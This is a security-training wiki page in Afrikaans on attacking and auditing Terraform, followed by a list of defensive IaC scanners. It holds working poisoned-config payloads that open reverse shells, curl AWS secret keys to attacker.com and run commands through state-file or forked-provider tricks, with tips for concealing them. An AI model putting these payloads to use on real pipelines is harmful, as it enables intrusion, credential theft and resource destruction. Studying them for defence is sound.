# Terraform Sekuriteit {{#include ../banners/hacktricks-training.md}} ## Basiese Inligting [Uit die dokumentasie:](https://developer.hashicorp.com/terraform/intro) HashiCorp Terraform is 'n **infrastruktuur as kode hulpmiddel** wat jou toelaat om beide **wolke en plaaslike hulpbronne** in menslike leesbare konfigurasie lêers te definieer wat jy kan weergawe, hergebruik en deel. Jy kan dan 'n konsekwente werksvloei gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan lae-vlak komponente soos rekenaar, stoor en netwerk hulpbronne bestuur, sowel as hoë-vlak komponente soos DNS inskrywings en SaaS kenmerke. #### Hoe werk Terraform? Terraform skep en bestuur hulpbronne op wolkplatforms en ander dienste deur hul toepassingsprogrammeringsinterfaces (API's). Verskaffers stel Terraform in staat om met feitlik enige platform of diens met 'n toeganklike API te werk. ![](<../images/image (177).png>) HashiCorp en die Terraform gemeenskap het reeds **meer as 1700 verskaffers** geskryf om duisende verskillende tipes hulpbronne en dienste te bestuur, en hierdie getal hou aan om te groei. Jy kan al die publiek beskikbare verskaffers op die [Terraform Registry](https://registry.terraform.io/) vind, insluitend Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, en nog baie meer. Die kern Terraform werksvloei bestaan uit drie fases: - **Skryf:** Jy definieer hulpbronne, wat oor verskeie wolkverskaffers en dienste kan wees. Byvoorbeeld, jy mag 'n konfigurasie skep om 'n toepassing op virtuele masjiene in 'n Virtuele Privaat Wolk (VPC) netwerk met sekuriteitsgroepe en 'n laaibalans te ontplooi. - **Beplan:** Terraform skep 'n uitvoeringsplan wat die infrastruktuur beskryf wat dit sal skep, opdateer of vernietig gebaseer op die bestaande infrastruktuur en jou konfigurasie. - **Toepas:** Met goedkeuring voer Terraform die voorgestelde operasies in die korrekte volgorde uit, terwyl dit enige hulpbron afhanklikhede respekteer. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtuele masjiene in daardie VPC verander, sal Terraform die VPC hercreëer voordat dit die virtuele masjiene skaal. ![](<../images/image (215).png>) ### Terraform Laboratorium Installeer eenvoudig terraform op jou rekenaar. Hier het jy 'n [gids](https://learn.hashicorp.com/tutorials/terraform/install-cli) en hier het jy die [beste manier om terraform af te laai](https://www.terraform.io/downloads). ## RCE in Terraform: konfigurasie lêer vergiftiging Terraform **het nie 'n platform wat 'n webblad of 'n netwerkdiens blootstel** wat ons kan opnoem nie, daarom is die enigste manier om terraform te kompromitteer om **in staat te wees om terraform konfigurasie lêers by te voeg/wysig** of om **in staat te wees om die terraform toestand lêer te wysig** (sien hoofstuk hieronder). Tog, terraform is 'n **baie sensitiewe komponent** om te kompromitteer omdat dit **bevoorregte toegang** tot verskillende plekke sal hê sodat dit behoorlik kan werk. Die hoofmanier vir 'n aanvaller om in staat te wees om die stelsel waar terraform loop te kompromitteer, is om **die repository wat terraform konfigurasies stoor te kompromitteer**, omdat dit op 'n stadium **geïterpreteer** gaan word. Werklik, daar is oplossings daar buite wat **automaties terraform plan/toepas uitvoer nadat 'n PR** geskep is, soos **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} As jy in staat is om 'n terraform lêer te kompromitteer, is daar verskillende maniere waarop jy RCE kan uitvoer wanneer iemand `terraform plan` of `terraform apply` uitvoer. ### Terraform plan Terraform plan is die **mees gebruikte opdrag** in terraform en ontwikkelaars/oplossings wat terraform gebruik, noem dit heeltyd, so die **gemaklikste manier om RCE te kry** is om te verseker dat jy 'n terraform konfigurasie lêer vergiftig wat arbitrêre opdragte in 'n `terraform plan` sal uitvoer. **Gebruik 'n eksterne verskaffer** Terraform bied die [`external` verskaffer](https://registry.terraform.io/providers/hashicorp/external/latest/docs) wat 'n manier bied om tussen Terraform en eksterne programme te kommunikeer. Jy kan die `external` databron gebruik om arbitrêre kode tydens 'n `plan` uit te voer. Om iets soos die volgende in 'n terraform konfigurasie lêer in te voeg, sal 'n rev shell uitvoer wanneer jy `terraform plan` uitvoer: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` **Gebruik van 'n pasgemaakte verskaffer** 'n Aanvaller kan 'n [pasgemaakte verskaffer](https://learn.hashicorp.com/tutorials/terraform/provider-setup) na die [Terraform Registry](https://registry.terraform.io/) stuur en dit dan by die Terraform-kode in 'n kenmerk tak voeg ([voorbeeld hier](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { evil = { source = "evil/evil" version = "1.0" } } } provider "evil" {} ``` Die verskaffer word afgelaai in die `init` en sal die kwaadwillige kode uitvoer wanneer `plan` uitgevoer word. Jy kan 'n voorbeeld vind in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) **Gebruik van 'n eksterne verwysing** Albei genoemde opsies is nuttig, maar nie baie stil nie (die tweede is stilser, maar meer kompleks as die eerste). Jy kan hierdie aanval selfs op 'n **stilser manier** uitvoer deur hierdie voorstelle te volg: - In plaas daarvan om die rev shell direk in die terraform-lêer by te voeg, kan jy 'n **eksterne hulpbron** laai wat die rev shell bevat: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` U kan die rev shell kode vind in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell kode in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply Terraform apply sal uitgevoer word om al die veranderinge toe te pas, jy kan dit ook misbruik om RCE te verkry deur **'n kwaadwillige Terraform-lêer met** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ Jy moet net seker maak dat 'n payload soos die volgende in die `main.tf` lêer eindig: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { provisioner "local-exec" { command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" } } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { provisioner "local-exec" { command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` Volg die **voorstelle van die vorige tegniek** om hierdie aanval op 'n **stealthier manier met eksterne verwysings** uit te voer. ## Geheimenisse Dumps Jy kan **geheime waardes wat deur terraform gebruik word, laat dump** deur `terraform apply` te loop en iets soos die volgende aan die terraform-lêer toe te voeg: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` ## Misbruik van Terraform Toestand Lêers In die geval dat jy skryfreëls oor terraform toestand lêers het, maar nie die terraform kode kan verander nie, [**hierdie navorsing**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) bied 'n paar interessante opsies om voordeel te trek uit die lêer. Selfs al sou jy skryfreëls oor die konfigurasielêers hê, is dit dikwels baie meer slu om die vektor van toestand lêers te gebruik, aangesien jy nie spore in die `git` geskiedenis agterlaat nie. ### RCE in Terraform: konfigurasielêer vergiftiging Dit is moontlik om [‘n pasgemaakte verskaffer](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) te skep en net een van die verskaffers in die terraform toestand lêer te vervang met die kwaadwillige een of 'n vals hulpbron by te voeg wat na die kwaadwillige verskaffer verwys. Die verskaffer [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) bou voort op die navorsing en wapen hierdie beginsel. Jy kan 'n vals hulpbron byvoeg en die arbitrêre bash-opdrag wat jy wil uitvoer in die attribuut `command` verklaar. Wanneer die `terraform` uitvoering geaktiveer word, sal dit gelees en uitgevoer word in beide die `terraform plan` en `terraform apply` stappe. In die geval van die `terraform apply` stap, sal `terraform` die vals hulpbron uit die toestand lêer verwyder nadat jou opdrag uitgevoer is, en homself opruim. Meer inligting en 'n volledige demo kan gevind word in die [GitHub-bewaarplek wat die bronkode vir hierdie verskaffer huisves](https://github.com/offensive-actions/terraform-provider-statefile-rce). Om dit direk te gebruik, sluit net die volgende in enige posisie van die `resources` array in en pas die `name` en die `command` attribuut aan: ```json { "mode": "managed", "type": "rce", "name": "", "provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", "instances": [ { "schema_version": 0, "attributes": { "command": "", "id": "rce" }, "sensitive_attributes": [], "private": "bnVsbA==" } ] } ``` Dan, sodra `terraform` uitgevoer word, sal jou kode loop. ### Huidige hulpbronne verwyder Daar is 2 maniere om hulpbronne te vernietig: 1. **Voeg 'n hulpbron met 'n ewekansige naam in die staatlêer in wat na die werklike hulpbron verwys wat vernietig moet word** Omdat terraform sal sien dat die hulpbron nie behoort te bestaan nie, sal dit dit vernietig (volgens die werklike hulpbron-ID wat aangedui word). Voorbeeld van die vorige bladsy: ```json { "mode": "managed", "type": "aws_instance", "name": "example", "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", "instances": [ { "attributes": { "id": "i-1234567890abcdefg" } } ] }, ``` 2. **Wysig die hulpbron om te verwyder op 'n manier dat dit nie moontlik is om op te dateer nie (sodat dit verwyder en weer geskep sal word)** Vir 'n EC2-instantie is dit genoeg om die tipe van die instantie te wysig sodat terraform dit verwyder en weer skep. ### Vervang geblacklisted verskaffer In die geval dat jy 'n situasie teëkom waar `hashicorp/external` geblacklisted was, kan jy die `external` verskaffer her-implementeer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die external verskaffer wat gepubliseer is deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan jou eie fork of her-implementering ook publiseer. ```terraform terraform { required_providers { external = { source = "nazarewk/external" version = "3.0.0" } } } ``` Dan kan jy `external` soos normaal gebruik. ```terraform data "external" "example" { program = ["sh", "-c", "whoami"] } ``` ## Outomatiese Oudit Gereedskap ### [**Snyk Infrastruktuur as Kode (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) Snyk bied 'n omvattende Infrastruktuur as Kode (IaC) skandeeroplossing wat kwesbaarhede en verkeerde konfigurasies in Terraform, CloudFormation, Kubernetes, en ander IaC formate opspoor. - **Kenmerke:** - Regs-tyd skandering vir sekuriteitskwesbaarhede en nakomingskwessies. - Integrasie met weergawebeheer stelsels (GitHub, GitLab, Bitbucket). - Outomatiese regstelling trekversoeke. - Gedetailleerde hersteladvies. - **Teken In:** Skep 'n rekening op [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk snyk auth snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) **Checkov** is 'n statiese kode-analise hulpmiddel vir infrastruktuur as kode (IaC) en ook 'n sagteware-samestelling analise (SCA) hulpmiddel vir beelde en oopbrons pakkette. Dit skandeer wolkinfrastruktuur wat voorsien is met [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), of [OpenTofu](https://opentofu.org/) en detecteer sekuriteits- en nakomingsmisconfigurasies deur middel van graf-gebaseerde skandering. Dit voer [Software Composition Analysis (SCA) skandering](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) uit wat 'n skandering van oopbrons pakkette en beelde vir Algemene Kw vulnerabilities en Blootstellings (CVEs) is. ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) Van die [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is 'n liggewig, sekuriteit en nakoming gefokusde toetsraamwerk teenoor terraform om negatiewe toetsing vermoë vir jou infrastruktuur-as-kode moontlik te maak. - **nakoming:** Verseker dat die geïmplementeerde kode die sekuriteitsstandaarde en jou eie pasgemaakte standaarde volg. - **gedragsgedrewe ontwikkeling:** Ons het BDD vir byna alles, hoekom nie vir IaC nie? - **portabel:** installeer dit net vanaf `pip` of hardloop dit via `docker`. Sien [Installasie](https://terraform-compliance.com/pages/installation/) - **voor-ontplooi:** dit valideer jou kode voordat dit ontplooi word. - **maklik om te integreer:** dit kan in jou pyplyn (of in git hooks) loop om te verseker dat alle ontplooiings gevalideer word. - **segregasie van pligte:** jy kan jou toetse in 'n ander repository hou waar 'n aparte span verantwoordelik is. > [!NOTE] > Ongelukkig, as die kode sommige verskaffers gebruik wat jy nie toegang tot het nie, sal jy nie in staat wees om die `terraform plan` uit te voer en hierdie hulpmiddel te gebruik nie. ```bash pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) Van die [**docs**](https://github.com/aquasecurity/tfsec): tfsec gebruik statiese analise van jou terraform kode om potensiële miskonfigurasies op te spoor. - ☁️ Kontroleer vir miskonfigurasies oor alle groot (en sommige klein) wolkverskaffers - ⛔ Honderde ingeboude reëls - 🪆 Skandeer modules (plaaslik en afstand) - ➕ Evalueer HCL-uitdrukkings sowel as letterlike waardes - ↪️ Evalueer Terraform funksies bv. `concat()` - 🔗 Evalueer verhoudings tussen Terraform hulpbronne - 🧰 Geskik vir die Terraform CDK - 🙅 Pas (en versier) gebruiker-gedefinieerde Rego-beleide toe - 📃 Ondersteun verskeie uitvoerformate: pragtig (verstek), JSON, SARIF, CSV, CheckStyle, JUnit, teks, Gif. - 🛠️ Konfigureerbaar (via CLI-vlaggies en/of konfigurasie-lêer) - ⚡ Baie vinnig, in staat om vinnig groot repositories te skandeer ```bash brew install tfsec tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) Vind sekuriteitskwesbaarhede, nakomingskwessies, en infrastruktuur miskonfigurasies vroeg in die ontwikkelingsiklus van jou infrastruktuur-as-kode met **KICS** deur Checkmarx. **KICS** staan vir **K**eeping **I**nfrastructure as **C**ode **S**ecure, dit is oopbron en is 'n moet-hê vir enige wolk-natiewe projek. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) Van die [**docs**](https://github.com/tenable/terrascan): Terrascan is 'n statiese kode-analiseerder vir Infrastruktur as Kode. Terrascan stel jou in staat om: - Naadloos infrastruktuur as kode te skandeer vir misconfigurasies. - Geverifieerde wolkinfrastruktuur te monitor vir konfigurasiewijzigings wat posisie-afwykings inbring, en stel jou in staat om na 'n veilige posisie terug te keer. - Sekuriteitskwesbaarhede en nakomingsoortredings te ontdek. - Risiko's te verminder voordat wolknatiewe infrastruktuur geprovisioneer word. - Bied buigsaamheid om plaaslik te loop of te integreer met jou CI\CD. ```bash brew install terrascan ``` ## Verwysings - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) - [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) {{#include ../banners/hacktricks-training.md}}